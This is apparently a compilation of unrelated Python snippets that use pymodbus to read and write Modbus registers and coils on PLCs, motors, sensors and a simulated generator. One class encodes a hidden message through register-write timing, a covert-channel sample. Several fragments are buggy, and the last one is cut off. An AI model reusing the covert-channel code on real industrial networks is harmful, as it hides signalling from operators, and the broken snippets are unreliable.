class TestMbTcpClass1(unittest.TestCase): read_values = range(0xAA50, 0xAA60) write_values = range(0xBB50, 0xBB60) def setUp(self): self.client = ModbusTcpClient(SERVER_HOST) self.client.connect() def tearDown(self): self.client.close() def test_write_single_holding_register(self): rq = self.client.write_register(8, 0xCC) self.assertEqual(rq.function_code, 0x06) rr = self.client.read_holding_registers(8, 1) self.assertEqual(rr.registers[0], 0xCC) rq = self.client.write_register(16, 0x00) self.assertEqual(rq.function_code, 0x86) rq = self.client.write_register(8, 0xAA58) def test_write_coil(self): rq = self.client.write_coil(0, True) self.assertEqual(rq.function_code, 0x05) rq = self.client.write_coil(0, False) self.assertEqual(rq.function_code, 0x05) rq = self.client.write_coil(256, False) self.assertEqual(rq.function_code, 0x85) def test_read_coil(self): coil_read_values = [True, False, True, False, False, True, False, False]
def wren_gw_modbus_write(config, value): ''' write a value to the peer. @param value a number in the string type. ''' try: m = ModbusTcpClient(host=config['node'], port=config['port']) # XXX # ModbusTcpClient.connect() does not look to do connect(2) actually. m.connect() unit = 0xff if config.has_key('unit_id'): unit = config['unit_id'] # send data result = False if config['table'] == 'HoldingRegister': result = m.write_register(config['address'], int(value), unit=unit) if result.value == int(value): result = True # close it. m.close() return {"status":True, "value":str(value)}; except Exception as e: return {"status":False, "value":str(e)};
class ModbusConnection(object): _max_retries_read = 10 _max_retries_write = 3 @property def max_retries_read(self): return self._max_retries_read @property def max_retries_write(self): return self._max_retries_write @property def client_address(self): return self.client.host @property def client_port(self): return str(self.client.port) def __init__(self, client_address, client_port): self.client = ModbusClient(host = client_address, port = int(client_port)) self.connect_to_client() def __del__(self): self.disconnect_from_client() def connect_to_client(self): self.client.connect() def disconnect_from_client(self): self.client.close() def read_input_registers(self, address, count, unit): k = 0 while k < self.max_retries_read: try: return self.client.read_input_registers(address = address, count = count, unit = unit).registers except: k += 1 sleep(1.5) def read_holding_registers(self, address, count, unit): k = 0 while k < self.max_retries_read: try: return self.client.read_holding_registers(address = address, count = count, unit = unit).registers except: k += 1 sleep(1.5) def write_register(self, address, unit, value): k = 0 while k < self.max_retries_write: try: return self.client.write_register(address = address, unit = unit, value = value) except: k += 1 sleep(1.5)
def TemperatureUpdateThread(update_interval, e): print 'TemperatureUpdateThread' client = ModbusTcpClient(ip) while True: if not e.isSet(): tfile = open("/sys/bus/w1/devices/28-00000625a0cd/w1_slave") text = tfile.read() tfile.close() secondline = text.split("\n")[1] temperaturedata = secondline.split(" ")[9] temperature = float(temperaturedata[2:]) client.write_register(0, temperature) print (temperature/1000) time.sleep(update_interval) else: break client.close() print 'Temperature sensor thread stoped'
def ModbusTCP(URL, Reg, Value): #Modbus simple query #Example strings #client = ModbusTcpClient('127.0.0.1') #client.write_coil(1, True) #print result.bits[0] #client.close() #these are with a plus, since the my_data needs to be concatenated with the url try: client = ModbusTcpClient(URL) client.write_register(Reg, Value) client.close() #ActionData = 'reg: ' + Reg + ' val: ' + Value #if (debuging): xbmc.log('Modbus Commander: ModbusTCP: ' + URL + ActionData) ReturnValue = "success" #except: #ActionData = 'reg: ' + Reg + ' val: ' + Value #if (debuging): xbmc.log('Modbus Commander: ModbusTCP: ' + URL + ActionData + ' Event Failed') ReturnValue = "fail"
def rotate_vertical_down(self): # Service for getting commands and modbus for sending commands registerService = RegisterMapping(3004, 1) client = ModbusClient(host='192.168.1.101', port=3004, timeout=1, stopbits=1, bytesize=8, parity='N', baudrate=9600, framer=ModbusRtuFramer) register_coil = registerService.get_coil_by_name('0001') # Set motor speed register_speed = registerService.get_register_by_name('0002') speed_address = register_speed.get_integer_address() speed = int(50) try: client.connect() client.write_register(speed_address, speed, unit=1) client.close() except pymodbus.exceptions.ConnectionException: return "No device connected" # Set motor direction coil_direction = registerService.get_coil_by_name('0002') speed_address = coil_direction.get_integer_address() speed = int(1) client.connect() client.write_coil(speed_address, speed, unit=1) client.close() # Turn on motor on_switch = register_coil.get_integer_address() integer_value = int('1') client.connect() client.write_coil(on_switch, integer_value, unit=1) client.close() return "Turning down"
def reg(): client = ModbusTcpClient('192.168.0.250') client.write_register(945,0) client.write_register(946,0) client.write_register(947,0) client.write_register(948,0) client.write_register(949,0)
def UR2_Start(self): while 1: try: client = ModbusClient('10.0.8.50', port=502) while 1: try: client.connect() break except: print("NO SERVER CONNECTION") time.sleep(1) print("CONNECTED TO SERVER") print(client.connect()) client.write_register(1, 64, unit=1) # 2^7 print("wrote to bit 6") time.sleep(1) client.write_register(3, 64, unit=1) break except Exception as e: print(e)
class SchneiderOTBSwitch(ChimeraObject, Switch): __config__ = { "device": None, "output": 6, # Which output to switch on/off "switch_timeout": None, # Maximum number of seconds to wait for state change } def __init__(self): super(SchneiderOTBSwitch, self).__init__() def __start__(self): self.client = ModbusTcpClient(self["device"]) def _getOTBstate(self): return self.client.read_holding_registers(100).getRegister(0) def _setOTBstate(self, state): self.client.write_register(100, state) return True def switchOn(self): if not self.isSwitchedOn(): if self._setOTBstate(self._getOTBstate() + (1 << self['output'])): self.switchedOn() return True else: return False def switchOff(self): if self.isSwitchedOn(): if self._setOTBstate(self._getOTBstate() - (1 << self['output'])): self.switchedOff() return True else: return False def isSwitchedOn(self): return self._getOTBstate() & 1 << self['output'] != 0
def rotate_vertical_stop(self): register = RegisterMapping(3004, 1) client = ModbusClient(host='192.168.1.101', port=3004, timeout=1, stopbits=1, bytesize=8, parity='N', baudrate=9600, framer=ModbusRtuFramer) # Set motor OFF coil_stop = register.get_coil_by_name('0001') stop_address = coil_stop.get_integer_address() integer_value = int('0') try: client.connect() client.write_register(stop_address, integer_value, unit=1) client.close() except pymodbus.exceptions.ConnectionException: return "No device connected"
class SchneiderOTBSwitch(ChimeraObject, Switch): __config__ = {"device": None, "output": 6, # Which output to switch on/off "switch_timeout": None, # Maximum number of seconds to wait for state change } def __init__(self): super(SchneiderOTBSwitch, self).__init__() def __start__(self): self.client = ModbusTcpClient(self["device"]) def _getOTBstate(self): return self.client.read_holding_registers(100).getRegister(0) def _setOTBstate(self, state): self.client.write_register(100, state) return True def switchOn(self): if not self.isSwitchedOn(): if self._setOTBstate(self._getOTBstate() + (1 << self['output'])): self.switchedOn() return True else: return False def switchOff(self): if self.isSwitchedOn(): if self._setOTBstate(self._getOTBstate() - (1 << self['output'])): self.switchedOff() return True else: return False def isSwitchedOn(self): return self._getOTBstate() & 1 << self['output'] != 0
def toggle_flag(request): try: slave = Slave.objects.get(primary=True) except djexcept.ObjectDoesNotExist: err = 'No primary slave found.' print(err) e = {'error': True, 'message': err} result.append(e) return result except djexcept.MultipleObjectsReturned: err = 'Multiple primary slaves found, please select one.' print(err) e = {'error': True, 'message': err} result.append(e) return result client = None try: client = ModbusTcpClient(slave.ip, slave.port) obj = Flag.objects.filter(name=request.POST.get('flag')).get() current_value = client.read_holding_registers(address=obj.sensor.address, count=obj.sensor.nregisters, unit=slave.sid) current_value = current_value.registers if obj.sensor.nregisters == 1: current_value = current_value[0] # LSB # XXX: hard-coding future_value = current_value ^ (1 << obj.bit_location) value = client.write_register(address=obj.sensor.address, value=future_value, unit=slave.sid) if value.isError(): raise Exception(value) except Exception as err: print(err) e = {'error': True, 'message': str(err)} return e finally: if client != None: client.close()
class AnalogCovertActuator(): def __init__(self, BIT_NUMBER=0, RESOLUTION=3): self.BIT_NUMBER = BIT_NUMBER self.client = ModbusTcpClient('127.0.0.1') self.encoded_message = [] self.last_value = '' self.last_time = '' self.RESOLUTION = RESOLUTION def meausre_time(self): return self.last_time def set_value(self, value=0): self.last_time = int(str( time.time()).split('.')[1][:self.RESOLUTION]) % 2 self.client.write_register(self.BIT_NUMBER, value) if self.last_value != '' and self.last_value != value and self.last_value == 0: # print ("Covert Actuator: \t", str(time.time()).split('.')[1][:3]) self.encoded_message.append( str(time.time()).split('.')[1][:self.RESOLUTION]) self.last_value = value def __del__(self): self.client.close()
class MB(): def __init__(self, ip, port=502): self.ip = ip self.port = port self.connect() def connect(self): self.client = ModbusTcpClient(self.ip, port=self.port, timeout=10) def read_reg(self): val = self.client.read_holding_registers(6, 2) return val.registers def write_reg(self, value): self.client.write_register(6, scada_value) return 0 def deviceinfo(self): rq = mei_message.ReadDeviceInformationRequest() val = self.client.execute(rq) return (val.information) def close(self): self.client.close()
def write_single_register(self, command): parser = argument_parser() command = 'write_single_register ' + command spec = parser.parse_args(command.split()) builder = BinaryPayloadBuilder(byteorder=Endian.Big, wordorder=Endian.Big) for func, value in spec.values[:1]: getattr(builder, func)(value) payload = builder.build() response = _ModbusClient.write_register( self, spec.address, payload[0], skip_encode=True, unit=spec.unit_id) return response
def write_register(slave_addr, slave_port, reg_addr, reg_val): # Call modbustcp client to write register value client = ModbusTcpClient(host=slave_addr, port=slave_port) if client.connect() == False: print "Connection to Modbus slave %s:%d failed" %(slave_addr, slave_port) return reply = client.write_register(address=reg_addr, value=reg_val, unit=1) client.close() if reply == None: print "No reply while writing Modbus register" return if reply.function_code != 6: print "Writing Modbus register returned wrong function code" return
def data_on_message(client, userdata, message): global device_in_use diu1 = device_in_use.decode( "utf-8") #to convert from binary array to string topic = message.topic value = int(message.payload) #Converting the bytearray to integer value. print('Data received.') print('Value :', value) reg = int(reg_config[locals()['diu1']]) UNIT = int(slave_config[locals()['diu1']]) print("Register to write into :\n") print(reg) print("Slave unit to write into :\n") print(UNIT) mclient = ModbusClient( host="localhost", port=502, framer=ModbusRtuFramer) #Initialise the ModbusTcpClient mclient.connect() rw = mclient.write_register(reg, value, unit=UNIT) mclient.close()
def ColorSensorUpdateThread(update_interval, e): print 'ColorSensorUpdateThread' client = ModbusTcpClient(ip) bus = smbus.SMBus(1) # I2C address 0x29 # Register 0x12 has device ver. # Register addresses must be OR'ed with 0x80 bus.write_byte(0x29,0x80|0x12) ver = bus.read_byte(0x29) # version # should be 0x44 if ver == 0x44: print "Device found\n" bus.write_byte(0x29, 0x80|0x00) # 0x00 = ENABLE register bus.write_byte(0x29, 0x01|0x02) # 0x01 = Power on, 0x02 RGB sensors enabled bus.write_byte(0x29, 0x80|0x14) # Reading results start register 14, LSB then MSB while True: if not e.isSet(): data = bus.read_i2c_block_data(0x29, 0) clear = clear = data[1] << 8 | data[0] red = data[3] << 8 | data[2] green = data[5] << 8 | data[4] blue = data[7] << 8 | data[6] print 'Color Sensor. C:', clear, 'R:', red, 'G:', green, 'B:', blue client.write_register(10, clear) client.write_register(11, red) client.write_register(12, green) client.write_register(13, blue) time.sleep(update_interval) else: break else: print 'Color sensor not found' client.close() print 'Color Sensor Stopped'
def write_action_register(self, value, slave): logging.debug(f'-- Sending action {value} to {slave.slave_id}') try: if type(slave.slave_id) is int: response = self.serialModbus.write_register( ACTION_REGISTER, value, unit=slave.slave_id) else: tcp_modbus = ModbusTcpClient(slave.slave_id) tcp_modbus.connect() response = tcp_modbus.write_register(ACTION_REGISTER, value) if issubclass(type(response), ModbusException): raise response logging.debug(f'-- Action ok from {slave.slave_id}') return True except (IndexError, struct.error, ModbusException, ConnectionException) as e: logging.exception(e, exc_info=False) slave.errors += 1 return False
class DaikinModbusClient: def __init__(self, host, port, slave_id): self._host = host self._port = port self._slave_id = slave_id self.__init_modbus_client() def __init_modbus_client(self): self.__modbus_client = ModbusTcpClient(self._host, port=self._port) self.__modbus_client.connect() def _read_input_cells(self, address, count): result = self.__modbus_client.read_input_registers(address- 1, count, unit=self._slave_id) return result.registers def _read_holding_cells(self, address, count): result = self.__modbus_client.read_holding_registers(address- 1, count, unit=self._slave_id) return result.registers def read_cells(self, register_type, address, count): cells = None if(register_type==REGISTER_TYPE_INPUT): cells = self._read_input_cells(address, count) elif(register_type==REGISTER_TYPE_HOLDING): cells = self._read_holding_cells(address, count) else: raise("Invalid register_type") logging.debug(register_type, address, count,cells) return cells def write_cell(self, address, cell): logging.debug('write_cell: ', address, cell) result = self.__modbus_client.write_register(address - 1, cell, unit=self._slave_id) return result def write_cells(self, address, cells): logging.debug('write_cells: ', address, cells) result = self.__modbus_client.write_registers(address - 1, cells, unit=self._slave_id) return result
def inc_dec_speed(up1): client = ModbusTcpClient(KstrFanIP, KintFanPort) result = client.read_holding_registers(rg.KpcbSpdReg, 1, unit=KmbUnitID) print(result) if result.function_code < 0x80: current_speed = result.registers[0] if up1 == 1: current_speed += 1 else: current_speed -= 1 if current_speed > 10: current_speed = 10 elif current_speed < 1: current_speed = 1 result = client.write_register(rg.KpcbSpdReg, current_speed, unit=KmbUnitID) print('up dn speed: \n') print(result) return(0) else: return(1)
def save_model(self, request, obj, form, change): print('save_model(): ') slave = obj.sensor.slave try: client = ModbusTcpClient(slave.ip, slave.port) if obj.sensor.multiplication_factor != 1: obj.threshold = int(obj.threshold / obj.sensor.multiplication_factor) print('obj.threshold:', obj.threshold) value = client.write_register(address=obj.address, value=obj.threshold, unit=slave.sid) if value.isError(): raise Exception(value) else: super().save_model(request, obj, form, change) except Exception as err: print(err) raise err # XXX: print error on admin template finally: client.close()
def run_gen(): global amps seed(1) client = ModbusClient(target) # # Choose random integers between 1700 and # 1750 to show changes in generator load. # Recompute KVA and KW. Push values to # the PLC. # while True: amps = randint(1700, 1750) client.write_register(3, amps) kva = ((1.732) * amps * volts) / 1000 client.write_register(4, int(kva)) kw = pf * kva client.write_register(5, int(kw)) sleep(1)
class ModbusClient: def __init__(self, IP, port): self.client = ModbusTcpClient(host=IP, port=port) if (not self.Connect()): rospy.logerr("Could not connect to the modbus server...") else: rospy.loginfo("Connected to host[%s] via port[%s]", IP, port) def Connect(self): return self.client.connect() def Close(self): self.client.close() def readRegister(self, address): response = self.client.read_holding_registers(address, 1, unit=1) if (response.function_code == 3): return response.registers[0] else: return False def writeRegister(self, address, data): response = self.client.write_register(address, data) ## maximum 16 bit print(response)
def activate(self): rospy.init_node('niryo_node', anonymous=False) while not rospy.is_shutdown(): if (self.activate_plc == "Activated"): rospy.loginfo( "Niryo will do other action, PLC will be deactivated") self.pub.publish("plc_deactivate") else: rospy.loginfo( "PLC hasn't been activated, Niryo will activate PLC") self.pub.publish("Activate_plc") client = ModbusClient("192.168.1.7", port=502) client.connect() UNIT = 0x1 print("Escritura de salidas") rq = client.write_coil(0, [True] * 8, unit=UNIT) rr = client.read_coils(0, 8, unit=UNIT) print("Las salidas Q0.0-Q0.7 ", rr.bits) print("Leer entradas") rr = client.read_discrete_inputs(0, 8, unit=UNIT) print("Las entradas I0.0-I0.7 son ", rr.bits) print("Escritura de un HR") rq = client.write_register(0, 15, unit=UNIT) rr = client.read_holding_registers(0, 1, unit=UNIT) print("HR0 = ", rr.registers) print("Escritura de varios HR") rq = client.write_registers(1, [35] * 10, unit=UNIT) rr = client.read_holding_registers(1, 10, unit=UNIT) print("HR0 = ", rr.registers) print("Escritura de varios HR") rq = client.write_registers(11, [43] * 5, unit=UNIT) rr = client.read_holding_registers(0, 15, unit=UNIT) print("HR0 = ", rr.registers) client.close() rospy.sleep(1)
def start_gen(): global speed global volts global freq # # Start Geneator # 0 to 1800 RPM in 3 seconds # broken into 100 millisecond segments # sleep(5) client = ModbusClient(target) for x in range(1, 31): speed = speed + 60 freq = (speed * poles) / 120 print(freq) y = int(freq) client.write_register(1, y) print(speed) client.write_register(0, speed) sleep(.1) # # Voltage Regulator begin excitation # 0 to 440 Volts in 2 seconds # Broken into 100 millisecond segments # for x in range(1, 21): volts = volts + 22 print(volts) client.write_register(2, volts) sleep(.1) # # After generator comes up to speed and voltage, # breaker is shut (Coil address 3) and control # is given to run_gen() function. # client.write_coil(3, True) run_gen()
def run_sync_client(): # ------------------------------------------------------------------------# # choose the client you want # ------------------------------------------------------------------------# # make sure to start an implementation to hit against. For this # you can use an existing device, the reference implementation in the tools # directory, or start a pymodbus server. # # If you use the UDP or TCP clients, you can override the framer being used # to use a custom implementation (say RTU over TCP). By default they use # the socket framer:: # # client = ModbusClient('localhost', port=5020, framer=ModbusRtuFramer) # # It should be noted that you can supply an ipv4 or an ipv6 host address # for both the UDP and TCP clients. # # There are also other options that can be set on the client that controls # how transactions are performed. The current ones are: # # * retries - Specify how many retries to allow per transaction (default=3) # * retry_on_empty - Is an empty response a retry (default = False) # * source_address - Specifies the TCP source address to bind to # * strict - Applicable only for Modbus RTU clients. # Adheres to modbus protocol for timing restrictions # (default = True). # Setting this to False would disable the inter char timeout # restriction (t1.5) for Modbus RTU # # # Here is an example of using these options:: # # client = ModbusClient('localhost', retries=3, retry_on_empty=True) # ------------------------------------------------------------------------# client = ModbusClient('localhost', port=5020) # from pymodbus.transaction import ModbusRtuFramer # client = ModbusClient('localhost', port=5020, framer=ModbusRtuFramer) # client = ModbusClient(method='binary', port='/dev/ptyp0', timeout=1) # client = ModbusClient(method='ascii', port='/dev/ptyp0', timeout=1) # client = ModbusClient(method='rtu', port='/dev/ptyp0', timeout=1, # baudrate=9600) client.connect() # ------------------------------------------------------------------------# # specify slave to query # ------------------------------------------------------------------------# # The slave to query is specified in an optional parameter for each # individual request. This can be done by specifying the `unit` parameter # which defaults to `0x00` # ----------------------------------------------------------------------- # log.debug("Reading Coils") rr = client.read_coils(1, 1, unit=UNIT) log.debug(rr) # ----------------------------------------------------------------------- # # example requests # ----------------------------------------------------------------------- # # simply call the methods that you would like to use. An example session # is displayed below along with some assert checks. Note that some modbus # implementations differentiate holding/input discrete/coils and as such # you will not be able to write to these, therefore the starting values # are not known to these tests. Furthermore, some use the same memory # blocks for the two sets, so a change to one is a change to the other. # Keep both of these cases in mind when testing as the following will # _only_ pass with the supplied asynchronous modbus server (script supplied). # ----------------------------------------------------------------------- # log.debug("Write to a Coil and read back") rq = client.write_coil(0, True, unit=UNIT) rr = client.read_coils(0, 1, unit=UNIT) assert(not rq.isError()) # test that we are not an error assert(rr.bits[0] == True) # test the expected value log.debug("Write to multiple coils and read back- test 1") rq = client.write_coils(1, [True]*8, unit=UNIT) assert(not rq.isError()) # test that we are not an error rr = client.read_coils(1, 21, unit=UNIT) assert(not rr.isError()) # test that we are not an error resp = [True]*21 # If the returned output quantity is not a multiple of eight, # the remaining bits in the final data byte will be padded with zeros # (toward the high order end of the byte). resp.extend([False]*3) assert(rr.bits == resp) # test the expected value log.debug("Write to multiple coils and read back - test 2") rq = client.write_coils(1, [False]*8, unit=UNIT) rr = client.read_coils(1, 8, unit=UNIT) assert(not rq.isError()) # test that we are not an error assert(rr.bits == [False]*8) # test the expected value log.debug("Read discrete inputs") rr = client.read_discrete_inputs(0, 8, unit=UNIT) assert(not rq.isError()) # test that we are not an error log.debug("Write to a holding register and read back") rq = client.write_register(1, 10, unit=UNIT) rr = client.read_holding_registers(1, 1, unit=UNIT) assert(not rq.isError()) # test that we are not an error assert(rr.registers[0] == 10) # test the expected value log.debug("Write to multiple holding registers and read back") rq = client.write_registers(1, [10]*8, unit=UNIT) rr = client.read_holding_registers(1, 8, unit=UNIT) assert(not rq.isError()) # test that we are not an error assert(rr.registers == [10]*8) # test the expected value log.debug("Read input registers") rr = client.read_input_registers(1, 8, unit=UNIT) assert(not rq.isError()) # test that we are not an error arguments = { 'read_address': 1, 'read_count': 8, 'write_address': 1, 'write_registers': [20]*8, } log.debug("Read write registeres simulataneously") rq = client.readwrite_registers(unit=UNIT, **arguments) rr = client.read_holding_registers(1, 8, unit=UNIT) assert(not rq.isError()) # test that we are not an error assert(rq.registers == [20]*8) # test the expected value assert(rr.registers == [20]*8) # test the expected value # ----------------------------------------------------------------------- # # close the client # ----------------------------------------------------------------------- # client.close()
#!/usr/bin/env python from pymodbus.client.sync import ModbusTcpClient as ModbusClient from pymodbus.exceptions import ConnectionException import logging logging.basicConfig() log = logging.getLogger() log.setLevel(logging.INFO) ##################################### # Code ##################################### client = ModbusClient('localhost', port=5020) try: client.connect() while True: rq = client.write_register(0x10, 1) # Run Plant, Run! rq = client.write_register(0x1, 0) # Level Sensor rq = client.write_register(0x2, 0) # Limit Switch rq = client.write_register(0x3, 1) # Motor rq = client.write_register(0x4, 0) # Nozzle except KeyboardInterrupt: client.close() except ConnectionException: print "Unable to connect / Connection lost"
#!/usr/bin/env python3 # Copyright 2020 Enapter, Alexander Shalin <*****@*****.**> # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software distribut$ # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express o$ # See the License for the specific language governing permissions and limitatio$ import sys import time import struct from pymodbus.client.sync import ModbusTcpClient ip = sys.argv[1] port = 502 timeout = sys.argv[2] device = ModbusTcpClient(ip, port) h = device.read_holding_registers(4600, 1, unit=1) print('Current Heartbeat Timeout value:', h.registers[0]) configuration_begin = device.write_register( 4000, 1, unit=1) # Begin writing configuration heartbeat_timeout = device.write_register( 4600, int(timeout), unit=1) # Write HeartBeat ModBus Timeout. 0 - turned off configuration_commit = device.write_register(4001, 1, unit=1) # Commit changes print('Heartbeat Timeout set to', str(timeout))
class ModbusClient(): """ This class is tailored to represent a Client talking with a PLC-server, communicating by reading / writing values to given addresses """ def __init__(self, address, port): self.address = address self.port = port self.client = ModbusTcpClient(address, port) self.connection_status = self.client.connect() def is_connected(self): """ :return: True if connection is active, False otherwise """ return self.connection_status def stop_running(self): self.client.write_coil(3, 0, unit=1) def get_running_status(self): """ Method for reading the progress-status """ coil_status = self.client.read_coils(3, 1, unit=1) run = coil_status.bits[0] return run def send_move(self, your_address, your_value): """ Helper method for sending over rubiks-move-commands, sending each move as a parsed String to represent a color-code Check command_tables in folder for further information """ self.client.write_register(your_address, your_value, unit=1) def get_address_side(self, side): """ Helper method for addressing correct side-code as a key for retrieving the correct values (starting address), for each spesific side :param: :returns: the """ address_side = {0: 30, 1: 39, 2: 48, 3: 57, 4: 66, 5: 75} return address_side[side] def update_color_state(self, side, color_state): """ Method for updating the color-addresses with the correctly applied color-code """ # starting address depending on the given side start_address = self.get_address_side(side) for notation in color_state: color_code = self.get_notation_to_code(notation) self.send_color_code(start_address, color_code) start_address += 1 def send_color_code(self, addr, val): """ Helper method sending the code to given address :param addr: the address to write :param val: the value to send """ self.client.write_register(addr, val, unit=1) def get_picture_command(self): """ Check if we're commaneded to take a picture. The coil we're subscribing to is usually controlled on the other end. We need to change this to False when we're taken the picture :return: true / false """ coil_info = self.client.read_coils(0, 1, unit=1) is_picture_ready = coil_info.bits[0] return is_picture_ready def reset_picture_command(self): """ Reset the picture-command """ #print("Resetting START") self.client.write_coil(0, 0, unit=1) #print("Resetting STOP ") def set_confirm_picture_taken(self): """ Confirm that we've taken a picture to the coil at the given address (Usually read at the other end) """ self.client.write_coil(1, 1, unit=1) def get_return_code(self, value): """ Helper method to convert movement-command to movement-code :param: the notation to check :return: the movement-code """ if value == "B": return 1 elif value == "U": return 2 elif value == "L": return 3 elif value == "D": return 4 elif value == "R": return 5 elif value == "F": return 6 elif value == "B'": return 7 elif value == "U'": return 8 elif value == "L'": return 9 elif value == "D'": return 10 elif value == "R'": return 11 elif value == "F'": return 12 elif value == "B2": return 13 elif value == "U2": return 14 elif value == "L2": return 15 elif value == "D2": return 16 elif value == "R2": return 17 elif value == "F2": return 18 def get_notation_to_code(self, notation): """ Helper method for converting notation to correct side-color :param: the notation to check :return: the color code """ if notation == "U": return 0 # white elif notation == "F": return 5 # green elif notation == "L": return 3 # red elif notation == "B": return 1 # blue elif notation == "R": return 2 # orange elif notation == "D": return 4 # yellow def send_algorithm(self, answer): """ Method for sending the required movements for solving the cube, one move for each address :param: a rubiks-cube-string """ # starting_address is 0 data = answer.split(" ") for x in range(len(data)): val = int(self.get_return_code(data[x])) self.send_move(x, val)
rq = client.write_coil(1, True) rr = client.read_coils(1,1) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.bits[0] == True) # test the expected value rq = client.write_coils(1, [True]*8) rr = client.read_coils(1,8) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.bits == [True]*8) # test the expected value rq = client.write_coils(1, [False]*8) rr = client.read_discrete_inputs(1,8) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.bits == [True]*8) # test the expected value rq = client.write_register(1, 10) rr = client.read_holding_registers(1,1) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.registers[0] == 10) # test the expected value rq = client.write_registers(1, [10]*8) rr = client.read_input_registers(1,8) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.registers == [17]*8) # test the expected value arguments = { 'read_address': 1, 'read_count': 8, 'write_address': 1, 'write_registers': [20]*8, }
#!/usr/bin/env python # -*- coding: utf-8 -*- """ zhang 4/5/2016 2:44 PM """ from pymodbus.client.sync import ModbusTcpClient as ModbusClient panel_4 = ModbusClient('192.168.0.104') value = 1 from time import sleep while True: sleep(1) value += 1 panel_4.write_register(100, value, unit=1)
class ModbusFB(FunctionalBlock): DP_01 = dict(name="reg_1", access="input", dptId="7.xxx", default=0) DP_02 = dict(name="reg_2", access="input", dptId="7.xxx", default=0) DP_03 = dict(name="reg_3", access="output", dptId="7.xxx", default=0) GO_01 = dict(dp="reg_1", flags="CRWU", priority="low") GO_02 = dict(dp="reg_2", flags="CRWU", priority="low") GO_03 = dict(dp="reg_3", flags="CWTU", priority="low") DESC = "Modbus FB" def init(self): self._client = ModbusTcpClient(host=settings.MODBUS_HOST, port=settings.MODBUS_PORT) def _read(self, register): """ @param register: name of the variable to read @type register: int @return: register value @rtype: int """ self._client.connect() try: result = self._client.read_holding_registers(register, 1, unit=settings.MODBUS_UNIT) value = result.registers[0] return value finally: self._client.close() def _write(self, register, value): """ @param var: name of the variable to read @type var: str """ self._client.connect() try: self._client.write_register(register, value, unit=settings.MODBUS_UNIT) finally: self._client.close() @notify.datapoint(dp="reg_1", condition="change") @notify.datapoint(dp="reg_2", condition="change") @notify.datapoint(dp="reg_3", condition="change") def RegisterStateChanged(self, event): """ Method called when any of the 'reg_x' Datapoint change """ logger.debug("%s: event=%s" % (self.name, repr(event))) dpName = event['dp'] newValue = event['newValue'] oldValue = event['oldValue'] logger.info("%s: '%s' value changed from %s to %s" % (self.name, dpName, oldValue, newValue)) # Send new register value to modbus client self._write(config.KNX_TO_MODBUS[dpName], newValue) @schedule.every(seconds=settings.MODBUS_REFRESH_RATE) def modbusRefresh(self): """ Read modbus output registers """ for register, dp in config.MODBUS_TO_KNX.items(): value = self._read(register) self.dp[dp].value = value
class Handler(object): def __init__(self,a,a2,canvas,loop=None): self.loop = loop self.ret_m1 = False self.afigure = a self.afigure2 = a2 self.canvas = canvas self._bufsize = x_size self.databuffer_p1 = collections.deque([0.0]*self._bufsize, self._bufsize) self.databuffer_p2 = collections.deque([0.0]*self._bufsize, self._bufsize) self.databuffer_r = collections.deque([0.0]*self._bufsize, self._bufsize) self.databuffer_q1 = collections.deque([0.0]*self._bufsize, self._bufsize) self.x = range(x_size) self.line_p1, = self.afigure.plot(self.x, self.databuffer_p1,"b-", label='Pg') self.line_p2, = self.afigure.plot(self.x, self.databuffer_p2,"-", color='#ffa100', label='Pe') self.line_r, = self.afigure.plot(self.x, self.databuffer_r,"r-", label='R') self.line_q1, = self.afigure2.plot(self.x, self.databuffer_q1,"m-", label='Q') h1, l1 = a.get_legend_handles_labels() h2, l2 = a2.get_legend_handles_labels() self.afigure.legend(h1+h2, l1+l2, loc=2, ncol=2, fontsize=10) self.pmax = 0 self.qmax = 0 self.qVmax = 0 self.pR = 0 self.blogFile = False self.oneLogged = False self.pipeLength = 0.0 self.pipeDiam = 0.0 self.pipeType = "ND" self.mixType = "ND" self.mixDensity = 0.0 self.staticHead = 0.0 self.treeview2 = builder.get_object("treeview2") self.p_count = 0 renderer = Gtk.CellRendererText() column = Gtk.TreeViewColumn("Name", renderer, text=0) self.treeview2.append_column(column) renderer = Gtk.CellRendererText() column = Gtk.TreeViewColumn("Description", renderer, text=1) self.treeview2.append_column(column) renderer = Gtk.CellRendererText() column = Gtk.TreeViewColumn("Value", renderer, text=2) self.treeview2.append_column(column) self.adjustPMax = builder.get_object("adjustment1") self.adjustQMax = builder.get_object("adjustment2") self.chkPAna = builder.get_object("chkPAna") self.txtDHLF = builder.get_object("txtDHLF") self.btnAnalyze = builder.get_object("btnAnalyze") self.txtRefPressure = builder.get_object("txtR") self.btnAnalyze.set_sensitive(False) self.time = datetime.datetime.utcnow() self.lastPe = collections.deque(maxlen=designRTW*60) self.lastPg = collections.deque(maxlen=designRTW*60) self.lastQ = collections.deque(maxlen=designRTW*60) self.txtQ2 = builder.get_object("txtQ2") self.txtQ1 = builder.get_object("txtQ1") self.txtK = builder.get_object("txtK") self.txtPoutMax = builder.get_object("txtPoutMax") self.lblOK = builder.get_object("lblOK") self.hdlf_q2 = 0 self.hdlf_q1 = 0 self.hdlf_k = 0 self.designQmin = 0. def logging_data(self, a): self.send_parity() t1=datetime.datetime.utcnow() dt_seconds = (t1-self.time).seconds builder.get_object("levelbar1").set_value(len(listP1)%60+1) client_1 = a[0] client_p = a[8] txtPout = a[9] txtQout = a[10] aIN1 = a[1] aIN2 = a[2] aIN1ENG = a[3] aIN2ENG = a[4] aIN12 = a[5] aIN22 = a[6] aIN1ENG2 = a[7] strR = self.txtRefPressure.get_text() if strR.isdigit(): self.pR = int(strR) else: self.pR = 10 self.txtRefPressure.set_text("10") strR = builder.get_object("txtPipeLenght").get_text() if strR.isdigit(): self.pipeLength = int(strR) else: builder.get_object("txtPipeLenght").set_text(str(self.pipeLength)) self.hdlf_q2 = float(builder.get_object("txtQ2").get_text()) self.hdlf_q1 = float(builder.get_object("txtQ1").get_text()) self.hdlf_k = float(builder.get_object("txtK").get_text()) strR = builder.get_object("txtStaticHead").get_text() try: self.staticHead = float(strR) except ValueError: builder.get_object("txtStaticHead").set_text(str(self.staticHead)) rr1 = client_1.read_holding_registers(0,48) if rr1.registers[test_reg_no] == test_value: p_mA1 = 